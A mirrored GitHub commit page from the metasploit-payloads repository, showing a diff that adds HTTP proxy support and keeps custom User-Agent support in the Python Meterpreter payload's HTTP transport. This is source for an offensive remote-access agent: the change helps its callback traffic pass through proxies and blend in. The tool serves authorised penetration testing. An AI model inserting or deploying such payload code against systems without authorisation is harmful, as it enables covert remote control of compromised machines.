mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-04-24 10:09:49 +02:00
Pymeterp http proxy and user agent support
This commit is contained in:
parent
bf55d98f32
commit
c91d594b73
@ -19,7 +19,7 @@ else:
|
|||||||
has_windll = hasattr(ctypes, 'windll')
|
has_windll = hasattr(ctypes, 'windll')
|
||||||
|
|
||||||
try:
|
try:
|
||||||
urllib_imports = ['build_opener', 'install_opener', 'urlopen']
|
urllib_imports = ['ProxyHandler', 'build_opener', 'install_opener', 'urlopen']
|
||||||
if sys.version_info[0] < 3:
|
if sys.version_info[0] < 3:
|
||||||
urllib = __import__('urllib2', fromlist=urllib_imports)
|
urllib = __import__('urllib2', fromlist=urllib_imports)
|
||||||
else:
|
else:
|
||||||
@ -49,6 +49,7 @@ DEBUGGING = False
|
|||||||
HTTP_COMMUNICATION_TIMEOUT = 300
|
HTTP_COMMUNICATION_TIMEOUT = 300
|
||||||
HTTP_CONNECTION_URL = None
|
HTTP_CONNECTION_URL = None
|
||||||
HTTP_EXPIRATION_TIMEOUT = 604800
|
HTTP_EXPIRATION_TIMEOUT = 604800
|
||||||
|
HTTP_PROXY = None
|
||||||
HTTP_USER_AGENT = None
|
HTTP_USER_AGENT = None
|
||||||
|
|
||||||
PACKET_TYPE_REQUEST = 0
|
PACKET_TYPE_REQUEST = 0
|
||||||
@ -326,6 +327,10 @@ class PythonMeterpreter(object):
|
|||||||
self.running = True
|
self.running = True
|
||||||
|
|
||||||
def driver_init_http(self):
|
def driver_init_http(self):
|
||||||
|
if HTTP_PROXY:
|
||||||
|
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
|
||||||
|
opener = urllib.build_opener(proxy_handler)
|
||||||
|
else:
|
||||||
opener = urllib.build_opener()
|
opener = urllib.build_opener()
|
||||||
if HTTP_USER_AGENT:
|
if HTTP_USER_AGENT:
|
||||||
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
||||||
|
Loading…
x
Reference in New Issue
Block a user